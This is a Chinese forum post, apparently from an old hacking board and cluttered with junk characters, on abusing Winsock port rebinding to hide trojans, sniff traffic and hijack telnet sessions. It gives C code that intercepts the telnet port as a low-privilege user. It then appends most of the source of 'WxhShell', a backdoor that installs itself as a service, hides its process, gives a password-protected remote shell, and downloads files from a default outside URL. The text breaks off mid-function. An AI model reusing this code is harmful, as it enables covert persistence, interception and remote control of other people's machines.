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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: (GZm+?  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0Y\u,\GrxW  
`jJb) z3D  
  saddr.sin_family = AF_INET; EV9m\'=j  
l|DOsI'r  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Ys\l[$_`*  
I(2ID +  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); % R'eV<  
i'a M#4V  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 _onHe"%{  
4X^0:.bT&  
  这意味着什么?意味着可以进行如下的攻击: NY_Oo!)3  
C?z C|0  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Dj[D|%9a  
1 @/+ c  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ;$86.2S>B  
4kx#=MLt  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 j@9A!5<CCk  
<{'':/tXI  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  JAgec`T%  
BKN]DxJ6  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 2-8<uUy  
BV<LIrAS  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。  ?9AByg  
.[~E}O  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 {D7!'Rq,  
k%hif8y  
  #include 0evG  
  #include )]v vp{  
  #include q+SDJ?v  
  #include    %e3lb<sv6  
  DWORD WINAPI ClientThread(LPVOID lpParam);   p_[k^@ $  
  int main() Qg3 -%i/@  
  { !j\  yt  
  WORD wVersionRequested; 4H{L>e  
  DWORD ret; x *(pr5k  
  WSADATA wsaData; J`\%'pEn  
  BOOL val; t0?\5q  
  SOCKADDR_IN saddr; -O oXb( I4  
  SOCKADDR_IN scaddr; 5Pn$@3  
  int err; Q5baY\"9^  
  SOCKET s; GAQVeL1  
  SOCKET sc; yBeSvsm  
  int caddsize; 7qu hp\  
  HANDLE mt; $lUZm\R|k  
  DWORD tid;   IA''-+9  
  wVersionRequested = MAKEWORD( 2, 2 ); 6=FF*"-6E  
  err = WSAStartup( wVersionRequested, &wsaData ); 0^zu T  
  if ( err != 0 ) { `$Q $l  
  printf("error!WSAStartup failed!\n"); 1Hzj-u&N/  
  return -1; Lk`0z  
  } OfIml.  
  saddr.sin_family = AF_INET; @eR>?.:&  
    _8t{4C  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Ktg6*L/  
/Eu[7  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); RfFeAg,]/  
  saddr.sin_port = htons(23); c[ga@Vy  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) pZF`+6 42  
  { .DIHd/wA  
  printf("error!socket failed!\n"); !%sj-RMvG  
  return -1; -S Z^;t  
  } Zn&X Uvdl  
  val = TRUE; >|mmJ4T  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 "rBo?%:  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) yn"8Ma*  
  { 0t'WM=W<!8  
  printf("error!setsockopt failed!\n"); enE8T3   
  return -1; H"].G^V\6  
  } `G6Nk@9.  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; J!~?}Fq/z  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 >4b-NS/}0  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 N'3Vt8o,  
Dtt[a  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Cz8=G;\  
  { ,accw}G  
  ret=GetLastError(); $D<LND=o=  
  printf("error!bind failed!\n"); 5o'V}  
  return -1; Em %"] B  
  } x)5#*Q  
  listen(s,2); e%u1O -*  
  while(1) `pOiv&>  
  { ]FL=E3U  
  caddsize = sizeof(scaddr); ;WWUxrWif  
  //接受连接请求 ku&IVr%  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Si.3Je[q  
  if(sc!=INVALID_SOCKET) ZQZ>{K  
  { ok  iI:  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *&^`Uk,[  
  if(mt==NULL) 9YwK1[G6/  
  { ,=.&  
  printf("Thread Creat Failed!\n"); IhhB^E|  
  break; @OV\raUO&V  
  } $&OoxC  
  } 7 &DhEI ^  
  CloseHandle(mt); L*"Q5NzB]  
  } ]9pK^<  
  closesocket(s); \,+act"v  
  WSACleanup(); pA&CBXio  
  return 0; A|Up >`QH  
  }   t H`!?  
  DWORD WINAPI ClientThread(LPVOID lpParam) Wz`MEyj  
  { )`, Bt  
  SOCKET ss = (SOCKET)lpParam; \'q 9,tP  
  SOCKET sc; ]X ,f  
  unsigned char buf[4096]; /4}{SE  
  SOCKADDR_IN saddr; }`FC'!(   
  long num; !vH7vq  
  DWORD val; {9S=:  
  DWORD ret; @doo2qqIe]  
  //如果是隐藏端口应用的话,可以在此处加一些判断 .'.#bH9K  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   N-N]BS6  
  saddr.sin_family = AF_INET; }^I36$\  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); i:Y5aZc/Ds  
  saddr.sin_port = htons(23); t7-r YY(  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~_BjcY  
  { T=NLBJ  
  printf("error!socket failed!\n"); M_0f{  
  return -1; (KO]>!t  
  } -75mgOj.#  
  val = 100; <Hv/1:k}  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) b\^DQZmth  
  { RH,x);J|  
  ret = GetLastError(); -[!t=qi  
  return -1; 2KO`+  
  } wv3*o10_w8  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &y0GdzfQd  
  { ^vm6JWwN0B  
  ret = GetLastError(); "E<+idoz  
  return -1; v2gk1a &  
  } !4v>|tq!  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Ot.v%D`e 5  
  { ]@y%j'e  
  printf("error!socket connect failed!\n"); 3L2NenJB  
  closesocket(sc); r5[pT(XT]  
  closesocket(ss); 8(ZQM01;  
  return -1; kjQW9QJ<  
  } zWPX  
  while(1) 7r:&%?2:g  
  { `JV(ae0  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 FzOWM7+\  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ;E{jn4B'  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 7Z9'Y?[m  
  num = recv(ss,buf,4096,0); yC ?p,Ci,  
  if(num>0)  G>?kskm  
  send(sc,buf,num,0); 9PV]bt,  
  else if(num==0) C-ORI}o  
  break; dU_;2d$  
  num = recv(sc,buf,4096,0); |L*=\%t8  
  if(num>0) X}G$ON  
  send(ss,buf,num,0); m{$+  
  else if(num==0) v`L]dY4,  
  break; %J'/cmR&  
  } ;k0Jl0[}  
  closesocket(ss); [$K8y&\L  
  closesocket(sc); zT}vaU 6  
  return 0 ; h#Rza-?"\  
  } hrJ(][8  
Yt=)=n  
t<c7%i#Od  
========================================================== ObZhQ.&  
RFsUb:%V7-  
下边附上一个代码,,WXhSHELL wIAH,3!  
!m))Yp-"H  
========================================================== N,B!D~@  
b IxH0=f  
#include "stdafx.h" {o^tSEN!-  
H9'psv  
#include <stdio.h> # B <%  
#include <string.h> -Sh&x  
#include <windows.h> 2\&3x} @  
#include <winsock2.h> s[eSPSFZ  
#include <winsvc.h> Q%~BD@Io  
#include <urlmon.h> 67/\0mV:~  
3 ;"[WOv  
#pragma comment (lib, "Ws2_32.lib") / j "}e_Q  
#pragma comment (lib, "urlmon.lib") [< g9jX5  
*[i49X&rd  
#define MAX_USER   100 // 最大客户端连接数 % u VTf  
#define BUF_SOCK   200 // sock buffer e[Vk+Te7  
#define KEY_BUFF   255 // 输入 buffer wWx{#!W  
Yx,E5}-  
#define REBOOT     0   // 重启 _'G'>X>}WU  
#define SHUTDOWN   1   // 关机 G3y8M |:  
]7TOA$Q  
#define DEF_PORT   5000 // 监听端口 UsA fZg8  
E,ilJl\  
#define REG_LEN     16   // 注册表键长度 5|jY  
#define SVC_LEN     80   // NT服务名长度 a0k;way  
]iW:YNvXA  
// 从dll定义API QoUdTIIL  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _R]0S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }M(xN6E  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 'Qg!ww7O  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); g - !  
*@^@7`W  
// wxhshell配置信息 K:XP;#OsP  
struct WSCFG { E_'H=QN c  
  int ws_port;         // 监听端口 7jxx,#I:  
  char ws_passstr[REG_LEN]; // 口令 yMyvX_UNI  
  int ws_autoins;       // 安装标记, 1=yes 0=no zICCSF&H  
  char ws_regname[REG_LEN]; // 注册表键名 %MGt3)  
  char ws_svcname[REG_LEN]; // 服务名 2[=3-1c  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "~.4z,ha  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Yh^8 !  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ri AMW|M"C  
int ws_downexe;       // 下载执行标记, 1=yes 0=no kf<c[su  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" CvZ\Z472.j  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 N3lz-vP-  
o(DG 3qk  
}; DC/Czkv9  
{U>N*&_`  
// default Wxhshell configuration qe(gKKA%q  
struct WSCFG wscfg={DEF_PORT, 7@g0>1Fz  
    "xuhuanlingzhe", RhB)AUAj  
    1, %rhZH^2  
    "Wxhshell", iF +@aA  
    "Wxhshell", }=\?]9`  
            "WxhShell Service", CV=qcD  
    "Wrsky Windows CmdShell Service", f|_\GVW  
    "Please Input Your Password: ", < @GO]vY  
  1, 2?6]Xbs{  
  "http://www.wrsky.com/wxhshell.exe", xR kw+  
  "Wxhshell.exe" j `!Ge  
    }; nhMxw @Z\  
xDl; tFI  
// 消息定义模块 &uc`w{,Zs  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; dG0zA D  
char *msg_ws_prompt="\n\r? for help\n\r#>"; NZZy^p&O  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; M:oM(K+  
char *msg_ws_ext="\n\rExit."; $kN=45SR  
char *msg_ws_end="\n\rQuit."; oj{CNa  
char *msg_ws_boot="\n\rReboot..."; \1<|X].jNY  
char *msg_ws_poff="\n\rShutdown..."; !"yr;t>|Zb  
char *msg_ws_down="\n\rSave to "; 7T6Zlp  
5y g`TW  
char *msg_ws_err="\n\rErr!"; $v#`2S(7  
char *msg_ws_ok="\n\rOK!"; &L+.5i  
G!B:>P|\l  
char ExeFile[MAX_PATH]; BtbU?t  
int nUser = 0; {Ak 4GL  
HANDLE handles[MAX_USER]; (y6}xOa(  
int OsIsNt; :Cx|(+T  
}@t" B9D  
SERVICE_STATUS       serviceStatus; VoUo!t:(+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; QD3tM5(Yr  
bW! &n  
// 函数声明 ))Z>$\<:  
int Install(void); vR!g1gI23  
int Uninstall(void); Wq+GlB*  
int DownloadFile(char *sURL, SOCKET wsh);  yZ[g2*1L  
int Boot(int flag); N>*+Wg$Ne  
void HideProc(void); #\=7A  
int GetOsVer(void); _A!Fp0}`  
int Wxhshell(SOCKET wsl); "9c=kqkX  
void TalkWithClient(void *cs); b+:J?MR;}  
int CmdShell(SOCKET sock); .QKyB>s  
int StartFromService(void); w< Xwz`O  
int StartWxhshell(LPSTR lpCmdLine); JttDRNZAU  
[PUu9rz#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); e Bxm  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Mh~}RA"H  
BK=w'1U  
// 数据结构和表定义 ToPjB vD  
SERVICE_TABLE_ENTRY DispatchTable[] = "OwVCym?  
{ #z%D d{E  
{wscfg.ws_svcname, NTServiceMain}, :8oJG8WH  
{NULL, NULL} ~AYleM  
}; (?t}S.>g  
gELG/6l  
// 自我安装 `?N0?;  
int Install(void) N2'aC} I  
{ $fg@g7_:  
  char svExeFile[MAX_PATH]; 8Vj'&UY  
  HKEY key; 7p2xst  
  strcpy(svExeFile,ExeFile); I_z(ft.  
TbNH{w|p  
// 如果是win9x系统,修改注册表设为自启动 MaHP):~  
if(!OsIsNt) { ;9h;oB@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %EVgSF!r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D@68_sn  
  RegCloseKey(key); #I453  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w5%i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =HsE:@  
  RegCloseKey(key); Q*%}w_D6f  
  return 0; kUS]g r~i  
    } `q<W %'Tb$  
  } U7 D!w$4  
} &5R|{',(Y  
else { 'n,V*9  
ML\>TDt  
// 如果是NT以上系统,安装为系统服务 kO3\v)B;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Pb8@owG8  
if (schSCManager!=0) "#o..?K  
{ `wtso  
  SC_HANDLE schService = CreateService 77)WNL/ x  
  ( RM `qC  
  schSCManager, $+7uB-KsU  
  wscfg.ws_svcname, '-RacNY  
  wscfg.ws_svcdisp, }}tbOD)t  
  SERVICE_ALL_ACCESS, Qw'905;(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , nDC0^&  
  SERVICE_AUTO_START, Su2{nNC>  
  SERVICE_ERROR_NORMAL, -%yrs6  
  svExeFile, ;50&s .gZ  
  NULL, ,n8\y9{G  
  NULL, sNo8o1Hby  
  NULL, i}DS+~8v  
  NULL, [A,^ F0:h  
  NULL ]$lt  
  ); 18Y#=uH}  
  if (schService!=0) @0@ZlH wM  
  { sg^|dS{3D  
  CloseServiceHandle(schService); w(6n  
  CloseServiceHandle(schSCManager); <8^x Mjc  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); k[ro[E  
  strcat(svExeFile,wscfg.ws_svcname); ,.W7Z~z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .M^[/!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8\lh'8  
  RegCloseKey(key); ciS,  
  return 0; =zyA~}M2  
    } BtC*]WB"_'  
  } 'q)g, 2B%  
  CloseServiceHandle(schSCManager); G7nhUg  
} [ncK+rGAc  
} qy3@> 1G  
rtj`FH??11  
return 1; \]u;NbC]  
} (*9.GyK  
rR#Ditn^  
// 自我卸载 U;MXiE3D  
int Uninstall(void) er UYR"  
{ |R0f--;  
  HKEY key; :h{uZ,#Gi  
z~ C8JY:  
if(!OsIsNt) { s;Gd`-S>d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ">oySo.B?  
  RegDeleteValue(key,wscfg.ws_regname); T^1 Z_|A  
  RegCloseKey(key); 8#7qHT;cx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { + t5SrO!`  
  RegDeleteValue(key,wscfg.ws_regname); Z]]Ur  
  RegCloseKey(key); pZ.b X  
  return 0; CP~ZIIip"  
  } \x}\)m_7M<  
} cgMF?;V  
} sF{aG6u   
else { X@\W* nq  
DpT9"?g7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); g |>LT_  
if (schSCManager!=0) sCFxn  
{ i3,IEN  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Mqr_w!8d  
  if (schService!=0) 3T2]V?   
  { @b,Az{EH  
  if(DeleteService(schService)!=0) { gA!@oiq@  
  CloseServiceHandle(schService); Wb-C0^dTn  
  CloseServiceHandle(schSCManager); pd|KIs%jl  
  return 0; Jay"  
  }  yfZNL?2x  
  CloseServiceHandle(schService); vQljxRtW  
  } SeD}H=,@  
  CloseServiceHandle(schSCManager); -&5YRfr!  
} aTuu",f  
} -fq  
K($l>PB,y@  
return 1; l_^SU8i57  
} 1[!v{F%]  
ec&/a2M  
// 从指定url下载文件 $a M5jH<  
int DownloadFile(char *sURL, SOCKET wsh) f4"UI-8;n  
{ ]4l2jY  
  HRESULT hr; Ek_5% n  
char seps[]= "/"; y7,I10:D  
char *token; =SfNA F  
char *file; s<s}6|Z  
char myURL[MAX_PATH]; 8=`L#FkRp  
char myFILE[MAX_PATH]; q>$MqKWM  
51jgx,-|$  
strcpy(myURL,sURL); KewW8H~tb  
  token=strtok(myURL,seps); X4 Arn,  
  while(token!=NULL) AE0uBv  
  { ~L)~p%rbi  
    file=token; ~3F'X  
  token=strtok(NULL,seps); uuC ["Z  
  } 7Y5r3a}%  
[.gk{> #  
GetCurrentDirectory(MAX_PATH,myFILE); vd%g'fTy9  
strcat(myFILE, "\\"); 4)S99|1  
strcat(myFILE, file); D'g,<-ahl  
  send(wsh,myFILE,strlen(myFILE),0); NKu[6J?)  
send(wsh,"...",3,0); )}ev;37<C  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >'*%wf[{  
  if(hr==S_OK) q[&Kr+)j  
return 0; _K^Q]V[nZ  
else 0bT j/0G?  
return 1; s1:Wrz?4  
xyp{_ MZ  
} 8xPt1Sotq[  
 LR97FG  
// 系统电源模块 e4S@ J/D  
int Boot(int flag) @Rr=uf G  
{ 0:$ }~T9T  
  HANDLE hToken; uJw?5kEbv<  
  TOKEN_PRIVILEGES tkp; 3UZd_?JI[^  
V8^la'_j  
  if(OsIsNt) { ~ :ASv>m  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >JpBX+]5m  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); im<bo Mv  
    tkp.PrivilegeCount = 1; Er;/ zxg9p  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l0qaTpn  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1Bj.MQ^  
if(flag==REBOOT) {  /8x';hQ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) azPH~' E'  
  return 0;  {^N,=m\  
} u8Ys2KLpL  
else { 2n<Mu Q]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) PkvW6,lS  
  return 0; ;4nY{)bD  
} >y3FU1w5d  
  } >q"dLZ  
  else { `i.BB jx`  
if(flag==REBOOT) { 7Ak<e tHD  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3s6obw$ki  
  return 0; TSB2]uH  
} }`uyOgGg*  
else { Q5,zs_j  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3\7MeG`tl  
  return 0; )~ ( *q  
} _@DOH2 lXJ  
} B=|R?t (*  
,aP6ct  
return 1; ;wn9 21r  
} pY31qhoZ.  
d GUP|O  
// win9x进程隐藏模块 D=e*rrL7a  
void HideProc(void) 4V@%Y,:ee  
{ Q:A#4Z  
nLN0zfhE#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); HpnF,4A>  
  if ( hKernel != NULL ) )w7vE\n3  
  { 3~>-A=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @j!,8JQEd  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =:H-9  
    FreeLibrary(hKernel); $vs],C"pX  
  } F s/CW\  
CTIS}_CWd=  
return; B)0/kY7c  
} N!+=5!  
3=O [Q:8  
// 获取操作系统版本 p<5]QV7st  
int GetOsVer(void) \<7Bx[/D4  
{ / Hr|u  
  OSVERSIONINFO winfo; B2;P%B  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); uo"<}>iJ  
  GetVersionEx(&winfo); \Zj%eW!m  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) H*=cw<  
  return 1; }z` x-(V  
  else hb`9Vn\-E  
  return 0; \|PiQy*_?  
} Z@bgJL8 3  
-CvmZ:n  
// 客户端句柄模块 dbf<k%i6  
int Wxhshell(SOCKET wsl) H$`U] =s|  
{ \c_g9Iqa  
  SOCKET wsh; qc8Ge\3s  
  struct sockaddr_in client; x3+ -wv  
  DWORD myID; =o#Z?Bn5  
\s=r[0tj!  
  while(nUser<MAX_USER) &jDN6n3z  
{ zL"e.  
  int nSize=sizeof(client); <.h7xZ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); WVP?Ie8  
  if(wsh==INVALID_SOCKET) return 1; q[s,q3n~  
\{h_i FU!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,/f\  
if(handles[nUser]==0) C[7!pd  
  closesocket(wsh); JwG(WLb:  
else 0D5Z#iW>1  
  nUser++; l.}PxZ  
  } ,6^<Vg  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `OW'AS |  
&^`Wtd~g  
  return 0; %\JGDM*m  
} ?C|'GkT  
N:`_Vl  
// 关闭 socket L=lSW7R  
void CloseIt(SOCKET wsh) 9z(SOzZn  
{ }B0[S_mw  
closesocket(wsh); $kUB%\`  
nUser--; P(aBJ*((~  
ExitThread(0); UC`h o%OBF  
} KL$.E!d  
fFJ7Y+^  
// 客户端请求句柄 LUQ.=:mBR  
void TalkWithClient(void *cs) od `;XVG  
{ F_@B ` ,  
e{x>u(  
  SOCKET wsh=(SOCKET)cs; b|i4me@  
  char pwd[SVC_LEN]; ~XR ('}5D  
  char cmd[KEY_BUFF]; |lNp0b  
char chr[1]; bxE~tsM"@Y  
int i,j; aL(G0@(  
j4XVk@'OX  
  while (nUser < MAX_USER) { ka_m Q<{9  
#9GfMxH  
if(wscfg.ws_passstr) { $0V+<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }?2X q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \(Ma>E4PNU  
  //ZeroMemory(pwd,KEY_BUFF); @X/ 1`Mp  
      i=0; }3lG'Y#Kpy  
  while(i<SVC_LEN) { Uh/=HNR  
1>*oN  
  // 设置超时 OY1bFIE  
  fd_set FdRead; @Ou H=<YN  
  struct timeval TimeOut; Cu@q*:'  
  FD_ZERO(&FdRead); , Q0Y} )  
  FD_SET(wsh,&FdRead); ?`+VWa[,e  
  TimeOut.tv_sec=8; ?o(284sV3  
  TimeOut.tv_usec=0; LATizu  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "`M~=RiI  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Zh8\B)0unn  
H9WYt#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P0 0G*iY~\  
  pwd=chr[0]; :Wbp|:N0  
  if(chr[0]==0xd || chr[0]==0xa) { k| OM?\  
  pwd=0; V Rv4p5  
  break; #Us<#"fC  
  } 4U dk#  
  i++; > TYDkEs0  
    } Noj*K6  
nmpc<&<<  
  // 如果是非法用户,关闭 socket 7rD 8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "G%S m")  
} ,$`} Rf<  
t?9J'.p  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?)9L($VVD  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _i>_Sn1"  
A.b^?k%I  
while(1) { 3$"V,_TBZ  
ZV{C9S&  
  ZeroMemory(cmd,KEY_BUFF); zU1D@  
M"*NV(".g  
      // 自动支持客户端 telnet标准   WWSycH ?[  
  j=0; ;?u cC@  
  while(j<KEY_BUFF) { A{> w5T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #~p;s>  
  cmd[j]=chr[0]; e!J5h <:  
  if(chr[0]==0xa || chr[0]==0xd) { e/hCYoS1n  
  cmd[j]=0; T[4xt,[a  
  break; GyL9}  
  } z uNm !$  
  j++; }@LIb<Y  
    } wfO -bzdw  
6n/=n%US  
  // 下载文件 f\5w@nX  
  if(strstr(cmd,"http://")) { m?wQk:Y1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); i'<hT q4  
  if(DownloadFile(cmd,wsh)) <k[_AlCmsg  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); BcQUD?LC`  
  else sDs.da#*2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >3&  
  } F3V:B.C  
  else { cAN8'S(s1  
.WSn Y71  
    switch(cmd[0]) { '{0O!y[H6  
  g@x72$j  
  // 帮助 K'2N:.D:  
  case '?': { KT<i%)t2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !.%*Tp#k#  
    break; n<|8Onw  
  } \X6q A-Ht  
  // 安装 =oXlJ[)h  
  case 'i': { 1/\Xngd  
    if(Install()) Q~"Lyy8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q0`@=5?-  
    else V}vL[=QFZ(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %{'[S0@Z  
    break; Z*P/ubV'  
    } [Cd#<Te3  
  // 卸载 ;~ Xjk  
  case 'r': { jCj8XM{c>  
    if(Uninstall()) Uf_mwEE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %;]/Z%!  
    else pqvl,G5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nzxHd7NIZ  
    break; ph)=:*A6&  
    } rp @%0/[  
  // 显示 wxhshell 所在路径 StR)O))I  
  case 'p': { T+0z.E!~I  
    char svExeFile[MAX_PATH]; dC4`xUv  
    strcpy(svExeFile,"\n\r"); .FYRi_Zd  
      strcat(svExeFile,ExeFile); h`Ej>O7m  
        send(wsh,svExeFile,strlen(svExeFile),0); [$$R>ELYQ  
    break; X,M!Tp  
    } 8DD1wK\U~  
  // 重启 L#D)[v"  
  case 'b': { uFuH/(}K[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); i+Ne.h  
    if(Boot(REBOOT)) = ?/6hB=7<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _;x`6LM  
    else { R))4J  
    closesocket(wsh); }>f%8O}  
    ExitThread(0); x5#Kk.  
    } CyVi{"aF3  
    break; 4 y.' O  
    } mWoN\Rwj  
  // 关机 nJgN2Z  
  case 'd': { ),o=~,v:  
